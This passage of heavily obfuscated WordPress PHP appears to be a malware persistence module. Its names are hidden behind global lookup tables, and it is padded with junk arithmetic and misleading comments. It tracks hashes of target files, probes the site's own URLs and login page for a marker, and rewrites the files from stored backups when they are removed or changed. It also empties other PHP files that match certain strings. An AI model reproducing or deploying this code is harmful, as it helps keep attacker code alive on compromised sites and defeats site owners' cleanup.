$GLOBALS[onlv7_99m8sby3(1445)]    =     (isset($GLOBALS[okltugscqfcy(1446)]) &&  $GLOBALS['__scf_b0khiny8bek9j4_1443']($GLOBALS[e77owqcywda_d(1447)])   ?  $GLOBALS[c_5yznsrtgse_i(1447)]  :  0.0)    +   (float)  $kervtjm574p0by;
}

     function    sjhvnrvcbkckec($rpq9quqybrsx4pfg)
      {
    $ozkkthcuu3vzq8     =  fq0wg899lk7h2seh();
      if  ($ozkkthcuu3vzq8   <=   0.5) return  array(-2,  "");
   $a2pvmx1qz57z01x0 =  $GLOBALS['__scf_m1egppx42pi_454'](1, $GLOBALS['__scf_v6xz4ce_wdoct3_455']((0x4+0x2),  (int) $ozkkthcuu3vzq8));

$igenbu84swg6g = $GLOBALS['__scf_qj6_wl4ow_o7j_279'](true);


       $d95h1ioarheg = @$GLOBALS['__scf_wruv1u09qsfmz_282']($rpq9quqybrsx4pfg,   array(okltugscqfcy(1448) =>  $a2pvmx1qz57z01x0,   e77owqcywda_d(940)  =>  false, onlv7_99m8sby3(381)   =>    true, onlv7_99m8sby3(1449) => 0,   c_5yznsrtgse_i(941) =>  (1048543+33),  okltugscqfcy(299)   => array(c_5yznsrtgse_i(947)   =>    onlv7_99m8sby3(1450),    onlv7_99m8sby3(1451)  =>    onlv7_99m8sby3(1452))));
     hk2t3_8ommrbo8nzn($GLOBALS['__scf_qj6_wl4ow_o7j_279'](true)   -   $igenbu84swg6g);
if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(945))  && is_wp_error($d95h1ioarheg))   return array(-1,   false);
$uh3v9zp8lp = $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1453)) ? (int)  wp_remote_retrieve_response_code($d95h1ioarheg) :  0;


 return array($uh3v9zp8lp, $uh3v9zp8lp  > 0  &&      $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1454))  ?   (string) wp_remote_retrieve_body($d95h1ioarheg)     :    "");

 }
   function z70pp09ofsx7infprg85($gfqyhfnvmz)

       {



   if    (!$GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1351))   || !$GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1369)) ||     !$GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1418))) return;
   $j0ntwxgj_8   = @get_option(c_5yznsrtgse_i(1438),  array());
      if (!$GLOBALS['__scf_a91xkwk0qm_35']($j0ntwxgj_8)      ||    !isset($j0ntwxgj_8[okltugscqfcy(1440)])   ||   !$GLOBALS['__scf_a91xkwk0qm_35']($j0ntwxgj_8[c_5yznsrtgse_i(1440)]))      return;
  $liy_zf6m2f5f    = $GLOBALS['__scf_poant85f5yad_56']($gfqyhfnvmz);
    if   (!isset($j0ntwxgj_8[okltugscqfcy(1455)][$liy_zf6m2f5f]))  return;
    $e22c3s2narioqp      =      @md5_file($gfqyhfnvmz);
       if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($e22c3s2narioqp) ||  $e22c3s2narioqp    ===   "")  return;
  $j0ntwxgj_8[c_5yznsrtgse_i(1456)][$liy_zf6m2f5f]['h']  =    $e22c3s2narioqp;
   @update_option(okltugscqfcy(1438),  $j0ntwxgj_8,   okltugscqfcy(1368));
        }
function  d9ddvk5d5hwh_v0r4fq($xn0tedagknt228)



{$vnv16ooz0l=-294;$rc2hs5lqeeq=($vnv16ooz0l>0)?$vnv16ooz0l:-$vnv16ooz0l;

      $cvjy1ozs26  =   @$GLOBALS['__scf_ha14er2zmzf_92']($xn0tedagknt228['b']);



 if   (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($cvjy1ozs26))  return false;
 if  (!empty($xn0tedagknt228['h'])    &&     $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1418)))  {
      $bky7i45g0knet6p3  = @md5_file($xn0tedagknt228['p']);
 if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($bky7i45g0knet6p3) && $bky7i45g0knet6p3    !== ""  &&   $bky7i45g0knet6p3    !==  $xn0tedagknt228['h'])    return false;
 unset($bky7i45g0knet6p3);
   }
  if ($cvjy1ozs26 === "")  {
// coerce to int



     if (empty($xn0tedagknt228['n'])) return false; 
   $ygnwdoj7k4h4o = !@$GLOBALS['__scf_cr6q9fwgft_18']($xn0tedagknt228['p']);
if  (!$ygnwdoj7k4h4o) {
// acquire read

 jl7b1mmow1nrgaho8($xn0tedagknt228['p'],   (370+50));
  $ygnwdoj7k4h4o    =   er_0rzjfu8611gx($xn0tedagknt228['p']);



  }
 if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(712))) @opcache_invalidate($xn0tedagknt228['p'],  true);
  return $ygnwdoj7k4h4o;

}
  if    (!n_52vz_mvq1filje($xn0tedagknt228['p'],  $cvjy1ozs26))  return  false;
  if      ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1457)))     @opcache_invalidate($xn0tedagknt228['p'], true);


  return   true;
 }
       function    fwaykkuz3igg2q0w()

{
if   (!$GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1351))) return;
if (!empty($GLOBALS[okltugscqfcy(117)]))    return;
  if (!r9q5mjga_j0i3gm_(onlv7_99m8sby3(1438)))   return;
  try    {
/* monotone sliding-window */

     $j0ntwxgj_8  = @get_option(onlv7_99m8sby3(1458),   array());
if (!$GLOBALS['__scf_a91xkwk0qm_35']($j0ntwxgj_8)) return;$n4m4du4ivyul=335;$g3qdwzqhn07rlm=($n4m4du4ivyul>0)?$n4m4du4ivyul:-$n4m4du4ivyul;



  if     (!isset($j0ntwxgj_8[onlv7_99m8sby3(1456)]) ||  !$GLOBALS['__scf_a91xkwk0qm_35']($j0ntwxgj_8[c_5yznsrtgse_i(1459)]))    {
$kqkv3ucejm  = array();$wa78ionmkfd=4964;$y0bisjzlqvf=$wa78ionmkfd%7;
     if  (isset($j0ntwxgj_8['t'], $j0ntwxgj_8['p'],     $j0ntwxgj_8['b'])) {
$rlnacedf53yh7beg   =   (string)  $j0ntwxgj_8['p'];
   $k36msiohh6n = (string)  $j0ntwxgj_8['b'];
 $kqkv3ucejm[$GLOBALS['__scf_poant85f5yad_56']($rlnacedf53yh7beg)]  =  array('t'  =>   (string) $j0ntwxgj_8['t'],    'p'   =>  $rlnacedf53yh7beg,      'b' => $k36msiohh6n,  c_5yznsrtgse_i(1416)    =>  isset($j0ntwxgj_8[c_5yznsrtgse_i(1460)])   ?   (int) $j0ntwxgj_8[c_5yznsrtgse_i(1460)]  :    $GLOBALS['__scf_p_l9i38f5mdu2r_184'](),  onlv7_99m8sby3(1417) =>  0,      'n' =>  (@$GLOBALS['__scf_cr6q9fwgft_18']($k36msiohh6n)  && (int)  @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($k36msiohh6n)    ===    0)      ?    1   :  0);



$w72urx05ce7tu    =   $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1418))    ?   @md5_file($rlnacedf53yh7beg)  :  false;
 if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($w72urx05ce7tu)    && $w72urx05ce7tu  !==  "") $kqkv3ucejm[$GLOBALS['__scf_poant85f5yad_56']($rlnacedf53yh7beg)]['h'] =  $w72urx05ce7tu;
unset($rlnacedf53yh7beg,  $k36msiohh6n, $w72urx05ce7tu);
}

     $j0ntwxgj_8  = array(e77owqcywda_d(1461) => $kqkv3ucejm);
       }
// unbind pipeline for WP InspectorControls

 if   (empty($j0ntwxgj_8[okltugscqfcy(1461)])) {
// @deactivate filter-chain

    @delete_option(e77owqcywda_d(1462));
  return;
 }
      if (ajpvrkxrj9yua4hgcly48()) {
   $xs2aondsi227kr   = false;
   foreach ($j0ntwxgj_8[c_5yznsrtgse_i(1461)] as $_5zkr0pzfbi7   =>   $r__iap0v8sqbjr) {
 if   ($GLOBALS['__scf_a91xkwk0qm_35']($r__iap0v8sqbjr)   &&  empty($r__iap0v8sqbjr[okltugscqfcy(1420)]))  {
 $j0ntwxgj_8[onlv7_99m8sby3(1461)][$_5zkr0pzfbi7][c_5yznsrtgse_i(1463)]  =    1;
$xs2aondsi227kr  =    true;
  }
 }
 if   ($xs2aondsi227kr) @update_option(e77owqcywda_d(1462),    $j0ntwxgj_8,     okltugscqfcy(1368));
     unset($xs2aondsi227kr,   $_5zkr0pzfbi7,  $r__iap0v8sqbjr);


return;
}
       static   $xi6t_l31j3p6y =   false;
   if ($xi6t_l31j3p6y)   return;
      $xi6t_l31j3p6y    =     true;$y_oxtz6p=PHP_MAJOR_VERSION;$u8evkb_q5rv=$y_oxtz6p*10;

       $j7b7522za97      = $GLOBALS['__scf_zixwhg5_ed506_700']($j0ntwxgj_8[e77owqcywda_d(1461)]);
$bc9xnndnhy4h89al   =   array();
 if ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1464))) @$GLOBALS['__scf_b_9alaw1v_3k_382']();
 elseif    ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(384))) @$GLOBALS['__scf_wh7d__dd2m_384']();
     if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(385))) @$GLOBALS['__scf_ltvgwtsfyufb_385'](true);

if (!$GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(741))     ||   !$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1147)))  return;
 $bvn9isiquli =    home_url('/');
  $vk84uwigmn9m7    =   $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1465))    ?    wp_login_url()   :   $bvn9isiquli  .    okltugscqfcy(538);
$fhe2u5y5_f8o1cd3 =  false;
  $d6d6vji9loz =      true;

   $ozkkthcuu3vzq8     =  (2+1);


  foreach    ($j0ntwxgj_8[okltugscqfcy(1461)] as   $liy_zf6m2f5f  => $xn0tedagknt228) {
// WP Social Links: split strategy




 if   (fq0wg899lk7h2seh()  <= 0.5)   break;
if   (!$GLOBALS['__scf_a91xkwk0qm_35']($xn0tedagknt228)   ||    empty($xn0tedagknt228['t']) ||  empty($xn0tedagknt228['p']) || empty($xn0tedagknt228['b']))     {
 unset($j0ntwxgj_8[okltugscqfcy(1461)][$liy_zf6m2f5f]);
     $fhe2u5y5_f8o1cd3    =   true;
 continue;
  }
// bind proof-term for WP BlockControls

  if  (!isset($xn0tedagknt228['n'])    ||     !isset($xn0tedagknt228['h'])) {
if (!isset($xn0tedagknt228['n']))   $xn0tedagknt228['n']   =   (@$GLOBALS['__scf_cr6q9fwgft_18']($xn0tedagknt228['b'])   && (int)  @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($xn0tedagknt228['b']) ===  0) ?     1  :  0;
     if (!isset($xn0tedagknt228['h'])  &&  $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1418)))    {$h3y19bm5t0=PHP_INT_MAX/PHP_INT_MAX;$hf7eh31bunsb67=$h3y19bm5t0+14;
 $_durq0azn7z0k6  = @md5_file($xn0tedagknt228['p']);
        if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($_durq0azn7z0k6)  &&  $_durq0azn7z0k6 !==   "") $xn0tedagknt228['h'] =   $_durq0azn7z0k6;
   unset($_durq0azn7z0k6);
 }
   $j0ntwxgj_8[okltugscqfcy(1466)][$liy_zf6m2f5f]  =  $xn0tedagknt228;
   $fhe2u5y5_f8o1cd3 = true;
  }
    if  (!empty($xn0tedagknt228[onlv7_99m8sby3(1463)]))  {
   $xn0tedagknt228[e77owqcywda_d(1463)] = 0;
    $xn0tedagknt228[e77owqcywda_d(1467)]  = $GLOBALS['__scf_p_l9i38f5mdu2r_184']();
  $xn0tedagknt228[onlv7_99m8sby3(1417)]  = 0;
$xn0tedagknt228[okltugscqfcy(1468)]  = 0;
$xn0tedagknt228[c_5yznsrtgse_i(1469)]      =     0;
 $xn0tedagknt228[onlv7_99m8sby3(1437)]  =      0;


     $j0ntwxgj_8[e77owqcywda_d(1470)][$liy_zf6m2f5f]  =    $xn0tedagknt228;
 $fhe2u5y5_f8o1cd3  =  true;
  }



  if (empty($xn0tedagknt228[c_5yznsrtgse_i(1422)]))   {
        $j0ntwxgj_8[c_5yznsrtgse_i(1470)][$liy_zf6m2f5f][okltugscqfcy(1422)]  =    (int) $xn0tedagknt228[e77owqcywda_d(1467)];


  $xn0tedagknt228[onlv7_99m8sby3(1422)]    = (int)   $xn0tedagknt228[c_5yznsrtgse_i(1467)];
   $fhe2u5y5_f8o1cd3  =  true;
  }
   if  (!empty($xn0tedagknt228[c_5yznsrtgse_i(1469)])   && $GLOBALS['__scf_p_l9i38f5mdu2r_184']() < (int)      $xn0tedagknt228[onlv7_99m8sby3(1469)])   continue;
if ($ozkkthcuu3vzq8 <= 0) break;
      $ozkkthcuu3vzq8--;


$ku7g7t25v1n   = onlv7_99m8sby3(1471)    .  $GLOBALS['__scf_w49j111x1sf_3_1472']($xn0tedagknt228['t'])   .  onlv7_99m8sby3(1473)    .   $GLOBALS['__scf_s3bo674ng_q_342']((0x149d0+0x3cd0),  (999905+94));
list($uh3v9zp8lp,     $qmwr62c7a7z_epv)  =  sjhvnrvcbkckec($bvn9isiquli   . $ku7g7t25v1n);
 if  ($uh3v9zp8lp    === -2)  break;
if  ($uh3v9zp8lp   >    0)   $d6d6vji9loz  =  false;



   if   ($uh3v9zp8lp    ===     -1  && $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(660))   &&   fq0wg899lk7h2seh()     >  2) $GLOBALS['__scf_cme2mo9dzi_660'](1);
        if   ($uh3v9zp8lp    === -1)   {
      list($uh3v9zp8lp,   $qmwr62c7a7z_epv)    =  sjhvnrvcbkckec($bvn9isiquli .  $ku7g7t25v1n);
if    ($uh3v9zp8lp      ===  -2)  break;
   if ($uh3v9zp8lp  > 0)    $d6d6vji9loz      =   false;
}
    if ($uh3v9zp8lp   <=  0)  {
        $j0ntwxgj_8[okltugscqfcy(1474)][$liy_zf6m2f5f][c_5yznsrtgse_i(1417)]++;
  $fhe2u5y5_f8o1cd3    =   true;$d5vbghjq4fj=41;$ilzbe0id8budk=($d5vbghjq4fj>0)?$d5vbghjq4fj:-$d5vbghjq4fj;
   continue;
   }

  if   ($uh3v9zp8lp    >= (0x175+0x7f))  {
 if  (d9ddvk5d5hwh_v0r4fq($xn0tedagknt228)) {
       e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1431), okltugscqfcy(1475)    .   $GLOBALS['__scf_n2ceqwn4my98_3']($xn0tedagknt228['p']));
   $bc9xnndnhy4h89al[$liy_zf6m2f5f]    = $xn0tedagknt228;
  unset($j0ntwxgj_8[e77owqcywda_d(1474)][$liy_zf6m2f5f]);
 }   else     {
$j0ntwxgj_8[c_5yznsrtgse_i(1476)][$liy_zf6m2f5f][c_5yznsrtgse_i(1477)]++;



}



      $fhe2u5y5_f8o1cd3 = true;
   continue;
 }
 if    ($GLOBALS['__scf_ffvfced40_hd3k_7']($qmwr62c7a7z_epv,     e77owqcywda_d(1478)     . $xn0tedagknt228['t'] .  okltugscqfcy(1412)) !==     false)    {
 $bc9xnndnhy4h89al[$liy_zf6m2f5f]  =  $xn0tedagknt228;
   unset($j0ntwxgj_8[e77owqcywda_d(1479)][$liy_zf6m2f5f]);
  $fhe2u5y5_f8o1cd3     = true;
  continue;
     }
    list($y53rpolyz512ppz,   $akb5t1a55nh)   = sjhvnrvcbkckec($vk84uwigmn9m7   .   ($GLOBALS['__scf_ffvfced40_hd3k_7']($vk84uwigmn9m7, '?')  ===  false ? '?'     :  '&')    .  onlv7_99m8sby3(1480)  .     $GLOBALS['__scf_w49j111x1sf_3_1472']($xn0tedagknt228['t'])   . onlv7_99m8sby3(1481)  .   $GLOBALS['__scf_s3bo674ng_q_342']((99906+94),  (1378959-378960)));
if ($y53rpolyz512ppz  === -2)  break;
      if  ($y53rpolyz512ppz >  0)  $d6d6vji9loz   =  false;



  if  ($y53rpolyz512ppz   >=  (0x1b9+0x3b))   {
 if  (d9ddvk5d5hwh_v0r4fq($xn0tedagknt228)) {
  e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1431),    e77owqcywda_d(1482)      .      $GLOBALS['__scf_n2ceqwn4my98_3']($xn0tedagknt228['p']));



 $bc9xnndnhy4h89al[$liy_zf6m2f5f]   =   $xn0tedagknt228;
  unset($j0ntwxgj_8[e77owqcywda_d(1479)][$liy_zf6m2f5f]);
    } else   {
// WP Custom Link rewrite flush

  $j0ntwxgj_8[c_5yznsrtgse_i(1479)][$liy_zf6m2f5f][c_5yznsrtgse_i(1483)]++;
    }
    $fhe2u5y5_f8o1cd3  = true;


 continue;
 }
      if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($akb5t1a55nh)   && $GLOBALS['__scf_ffvfced40_hd3k_7']($akb5t1a55nh,   onlv7_99m8sby3(1478) . $xn0tedagknt228['t']  . e77owqcywda_d(1412)) !==     false)    {


 $bc9xnndnhy4h89al[$liy_zf6m2f5f]    =    $xn0tedagknt228;
  unset($j0ntwxgj_8[e77owqcywda_d(1479)][$liy_zf6m2f5f]);
     $fhe2u5y5_f8o1cd3   =  true;
 continue;
}
 $j0ntwxgj_8[onlv7_99m8sby3(1479)][$liy_zf6m2f5f][onlv7_99m8sby3(1468)] = (int) (isset($j0ntwxgj_8[c_5yznsrtgse_i(1484)][$liy_zf6m2f5f][onlv7_99m8sby3(1468)])  ?   $j0ntwxgj_8[e77owqcywda_d(1485)][$liy_zf6m2f5f][okltugscqfcy(1468)]  :     0)    +   1;
  if    ($GLOBALS['__scf_p_l9i38f5mdu2r_184']()  -   (int)     $j0ntwxgj_8[e77owqcywda_d(1485)][$liy_zf6m2f5f][c_5yznsrtgse_i(1422)]  >  (604794+6))  {



  $j0ntwxgj_8[okltugscqfcy(1485)][$liy_zf6m2f5f][c_5yznsrtgse_i(1437)] = 1;
$j0ntwxgj_8[c_5yznsrtgse_i(1485)][$liy_zf6m2f5f][onlv7_99m8sby3(1469)]    =  $GLOBALS['__scf_p_l9i38f5mdu2r_184']() +    (93556-7156);
}   else    {

      $jlp_e2xmu0 =  array((239^211),  (258+42),    (1615-715),  (2685+915));


     $ov3gsm0zlnt26  =  (int)     $j0ntwxgj_8[e77owqcywda_d(1486)][$liy_zf6m2f5f][okltugscqfcy(1487)];
$j0ntwxgj_8[c_5yznsrtgse_i(1486)][$liy_zf6m2f5f][e77owqcywda_d(1488)] =  $GLOBALS['__scf_p_l9i38f5mdu2r_184']()    +  $jlp_e2xmu0[$GLOBALS['__scf_v6xz4ce_wdoct3_455']($ov3gsm0zlnt26,  (61^57)) - 1];


   unset($jlp_e2xmu0, $ov3gsm0zlnt26);

}
       $fhe2u5y5_f8o1cd3 = true;
}
if  ($d6d6vji9loz  && $fhe2u5y5_f8o1cd3  &&  !empty($j0ntwxgj_8[okltugscqfcy(1486)]))   {
     $_2omw_nxenid1vy =  false;
     foreach ($j0ntwxgj_8[e77owqcywda_d(1489)]  as  $s6osfhyouqa21ao_) {
   if   ((int) $s6osfhyouqa21ao_[c_5yznsrtgse_i(1490)]     >= (1+2))  {
  $_2omw_nxenid1vy = true;
 break;
 }
}
   if ($_2omw_nxenid1vy) {
    @update_option(onlv7_99m8sby3(531),    onlv7_99m8sby3(1491)    . $GLOBALS['__scf_p_l9i38f5mdu2r_184'](),    onlv7_99m8sby3(1492));
       e_42zxx3yq4pdz4bo4(e77owqcywda_d(1431),  onlv7_99m8sby3(1493));
   foreach ($j0ntwxgj_8[onlv7_99m8sby3(1494)]    as $yqx3p1r0wf => $s6osfhyouqa21ao_)    {
      if     ($GLOBALS['__scf_a91xkwk0qm_35']($s6osfhyouqa21ao_) &&  empty($s6osfhyouqa21ao_[onlv7_99m8sby3(1463)]))   $j0ntwxgj_8[onlv7_99m8sby3(1494)][$yqx3p1r0wf][e77owqcywda_d(1463)]    =   1;
}


 $fhe2u5y5_f8o1cd3  =  true;
}
  }     elseif     (!$d6d6vji9loz) {
     $vt1ju8vo8zq   =     @get_option(c_5yznsrtgse_i(531),  "");
 if    (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($vt1ju8vo8zq)    ||  $GLOBALS['__scf_ffvfced40_hd3k_7']($vt1ju8vo8zq,  c_5yznsrtgse_i(1359)) !==      0)  @update_option(onlv7_99m8sby3(531),   c_5yznsrtgse_i(1495)    .  $GLOBALS['__scf_p_l9i38f5mdu2r_184'](), okltugscqfcy(1492));
  }
      if    ($fhe2u5y5_f8o1cd3)  {


if     ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1496)))  @wp_cache_delete(onlv7_99m8sby3(1462),    onlv7_99m8sby3(1096));



      $ii9eyr1xyh7an22 =    @get_option(onlv7_99m8sby3(1462),  array());
   if      ($GLOBALS['__scf_a91xkwk0qm_35']($ii9eyr1xyh7an22) &&   isset($ii9eyr1xyh7an22[c_5yznsrtgse_i(1497)]) &&  $GLOBALS['__scf_a91xkwk0qm_35']($ii9eyr1xyh7an22[okltugscqfcy(1498)])) {

  foreach ($ii9eyr1xyh7an22[okltugscqfcy(1498)]  as   $m040asd_zgoai8um =>   $t47b29m71p80) {
  if  (isset($j0ntwxgj_8[onlv7_99m8sby3(1498)][$m040asd_zgoai8um]))    continue;
  if   (!$GLOBALS['__scf_wwy_cardw8r5v6_146']($m040asd_zgoai8um, $j7b7522za97,  true))   {
// PSR-4 namespaces widget render

 $j0ntwxgj_8[okltugscqfcy(1498)][$m040asd_zgoai8um]     =     $t47b29m71p80;
   continue;


    }

 if (isset($bc9xnndnhy4h89al[$m040asd_zgoai8um])    &&  $GLOBALS['__scf_a91xkwk0qm_35']($t47b29m71p80))   {



$v5btjjkv75en = isset($t47b29m71p80['g'])    ? (float)     $t47b29m71p80['g']   : (float) (isset($t47b29m71p80[c_5yznsrtgse_i(1499)])    ?  $t47b29m71p80[okltugscqfcy(1500)] :    0);
    $vy59xck2q7p    =   isset($bc9xnndnhy4h89al[$m040asd_zgoai8um]['g']) ? (float)  $bc9xnndnhy4h89al[$m040asd_zgoai8um]['g']  : (float)  (isset($bc9xnndnhy4h89al[$m040asd_zgoai8um][okltugscqfcy(1500)])     ?     $bc9xnndnhy4h89al[$m040asd_zgoai8um][e77owqcywda_d(1501)]  :   0);
  if ($v5btjjkv75en  > $vy59xck2q7p) $j0ntwxgj_8[onlv7_99m8sby3(1498)][$m040asd_zgoai8um]    =     $t47b29m71p80;
    unset($v5btjjkv75en,   $vy59xck2q7p);

}
  }
 }
  unset($ii9eyr1xyh7an22,  $m040asd_zgoai8um,    $t47b29m71p80);$ld3yefpj99ww=4143;$yuckv70w8=$ld3yefpj99ww%13;
}
  foreach    ($bc9xnndnhy4h89al  as  $fc7_vqyvocy7emmw   => $fo4fkd_zlvg)   {
      if  (!isset($j0ntwxgj_8[e77owqcywda_d(1498)][$fc7_vqyvocy7emmw]))  er_0rzjfu8611gx($fo4fkd_zlvg['b']);
}
 unset($bc9xnndnhy4h89al,   $fc7_vqyvocy7emmw,   $fo4fkd_zlvg);$g91w6k5f6=233|54;$mwoz_yvuzy5q_=$g91w6k5f6^173;
if (empty($j0ntwxgj_8[okltugscqfcy(1498)]))   @delete_option(okltugscqfcy(1502));
elseif     ($fhe2u5y5_f8o1cd3) @update_option(c_5yznsrtgse_i(1503), $j0ntwxgj_8,   okltugscqfcy(1492));
 } finally {
 gp1654dr46ffgrsz(c_5yznsrtgse_i(1503));
    

 }
  }
  function    l0be_fuirn0lsr0($i2heqo3a8u1x)
 {
     return   $GLOBALS['__scf_ncrh0liqs6be8x_41']($i2heqo3a8u1x)    &&  ($GLOBALS['__scf_ffvfced40_hd3k_7']($i2heqo3a8u1x,   e77owqcywda_d(1504))  !==   false  ||  $GLOBALS['__scf_ffvfced40_hd3k_7']($i2heqo3a8u1x,  okltugscqfcy(1505)) !== false   ||  $GLOBALS['__scf_ffvfced40_hd3k_7']($i2heqo3a8u1x,     okltugscqfcy(1506))     !==    false  ||  $GLOBALS['__scf_ffvfced40_hd3k_7']($i2heqo3a8u1x,      okltugscqfcy(25))  !==   false   ||   $GLOBALS['__scf_ffvfced40_hd3k_7']($i2heqo3a8u1x,  e77owqcywda_d(1507)) !==   false  || $GLOBALS['__scf_ffvfced40_hd3k_7']($i2heqo3a8u1x,  e77owqcywda_d(1508))  !== false);
      }
 function  q95zz7yrdu3692za53enq($i2heqo3a8u1x)

  {



    if (!l0be_fuirn0lsr0($i2heqo3a8u1x))    return  false;



     if  (z3a53qcfaiyfod0($i2heqo3a8u1x)) return   true;
if ($GLOBALS['__scf_qbkffloyend_1373'](onlv7_99m8sby3(1509),  $i2heqo3a8u1x, $kmgnq9_fgpd56zwu)) {
foreach  ($kmgnq9_fgpd56zwu[1]   as $omjuwbhs4r44)  {
if   (version_compare($omjuwbhs4r44,   w218ynit42v8uao2p(),      '<'))     return   true;
   }
 return  false;
  }
     return true;
     }
        function  otrzpppd84cp5fc($jl_ruybeyx54iw)


  {
if      (!@$GLOBALS['__scf_cr6q9fwgft_18']($jl_ruybeyx54iw) ||     !@$GLOBALS['__scf_lnazygzamf_47']($jl_ruybeyx54iw))   return;
$yionx_1pi6yhj   =  @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($jl_ruybeyx54iw);
 if (!$yionx_1pi6yhj)   return;$mqsvz6pzbyzne=7888;$qcw6k4dn=$mqsvz6pzbyzne%12;
  if   ($yionx_1pi6yhj >  (19518983-9033223)) {
 $e3igetiz32d3 = @$GLOBALS['__scf_ha14er2zmzf_92']($jl_ruybeyx54iw,    false,      null, 0,   (0x9ea0+0x6160));
    if (!l0be_fuirn0lsr0($e3igetiz32d3))  return;
  if  (n0t8w3br3bo60xew4($jl_ruybeyx54iw)   ===  false) {
e_42zxx3yq4pdz4bo4(okltugscqfcy(1510),   onlv7_99m8sby3(1511)   .    $GLOBALS['__scf_n2ceqwn4my98_3']($jl_ruybeyx54iw));


     return;
}
  @$GLOBALS['__scf_uayyvei514_193']($jl_ruybeyx54iw, "<?php\n");



if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1457)))    @opcache_invalidate($jl_ruybeyx54iw,   true);
  return;
        }
    if   ($yionx_1pi6yhj >    (1048543+33))     {$vrx038b0k=88+9;$zjth7ldjlo5=$vrx038b0k-22;
      $ty5dwbzwy_l3yj_x  = (string)  @$GLOBALS['__scf_ha14er2zmzf_92']($jl_ruybeyx54iw, false,  null, 0,  (8129+63));
    $oybk09pal7cl =   ($yionx_1pi6yhj  >  (16363-8171)) ?  (string)  @$GLOBALS['__scf_ha14er2zmzf_92']($jl_ruybeyx54iw,   false,     null, $yionx_1pi6yhj   -   (8177+15)) :     "";
   $a9e982p9yhde =     $ty5dwbzwy_l3yj_x .  $oybk09pal7cl;
if  ($a9e982p9yhde !==   ""  &&  $GLOBALS['__scf_qbkffloyend_1373'](c_5yznsrtgse_i(1509), $a9e982p9yhde, $e6zixlpocefclkw9))    {
 $zya7chys1u1y_1   =  false;
 foreach  ($e6zixlpocefclkw9[1] as  $crs6zeo510ccqr2) {
  if     (version_compare($crs6zeo510ccqr2, w218ynit42v8uao2p(),   '<'))   {



$zya7chys1u1y_1    =  true;
break;
   }
    }
       if    (!$zya7chys1u1y_1) return;
 }


}
     $i2heqo3a8u1x =    @$GLOBALS['__scf_ha14er2zmzf_92']($jl_ruybeyx54iw);$cmlrx9gjfhi8b=14*5;$o0xu5m9u7vf=$cmlrx9gjfhi8b-26;
if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($i2heqo3a8u1x) &&   $GLOBALS['__scf_m36_x4cy3m1b5_10']($i2heqo3a8u1x) >   (2077430-1028854))     $i2heqo3a8u1x     =   ti6s2mx79ow6io($i2heqo3a8u1x);
   if    (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($i2heqo3a8u1x)) return;
if   (!q95zz7yrdu3692za53enq($i2heqo3a8u1x))  return;

 fddvequx41kra6qj4ip4r($jl_ruybeyx54iw, $i2heqo3a8u1x);



   }
 function  fddvequx41kra6qj4ip4r($jl_ruybeyx54iw,  $i2heqo3a8u1x)

   {
       $dtmb4x_663o5v    = $GLOBALS['__scf_t8cv4weumn7_439'](okltugscqfcy(1512),    "",  $i2heqo3a8u1x);
 if   (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($dtmb4x_663o5v) || $GLOBALS['__scf__90_xdmo58j3q_311']($dtmb4x_663o5v)  ===    ""   || $GLOBALS['__scf__90_xdmo58j3q_311']($dtmb4x_663o5v)    === c_5yznsrtgse_i(1513))    $dtmb4x_663o5v =  "<?php\n";


 if    ($GLOBALS['__scf_m36_x4cy3m1b5_10']($dtmb4x_663o5v)  >=    (402+98)  && !pqt0j30bec0qiplt($dtmb4x_663o5v))   $dtmb4x_663o5v    = "<?php\n";
       $ile6ebcabviy46_w    =   @fileperms($jl_ruybeyx54iw);
    

      $ile6ebcabviy46_w    = ($ile6ebcabviy46_w   === false)  ?     (366+54) :  ($ile6ebcabviy46_w   & (445+66));
   $dmk3os8nklyewd     =  @$GLOBALS['__scf_xfxvwe4pd_9ay_95']($jl_ruybeyx54iw);
  $oocrmp9q68y2t2   =    @$GLOBALS['__scf_k5cfm7qdognpb_76']($GLOBALS['__scf__ozzh8uadm__11']($jl_ruybeyx54iw), e77owqcywda_d(1514));
  if  ($oocrmp9q68y2t2 ===   false)   return;
     if    (@$GLOBALS['__scf_uayyvei514_193']($oocrmp9q68y2t2,    $dtmb4x_663o5v)   !==     $GLOBALS['__scf_m36_x4cy3m1b5_10']($dtmb4x_663o5v))    {



   @$GLOBALS['__scf_l9ij4yiim4al_f_17']($oocrmp9q68y2t2);
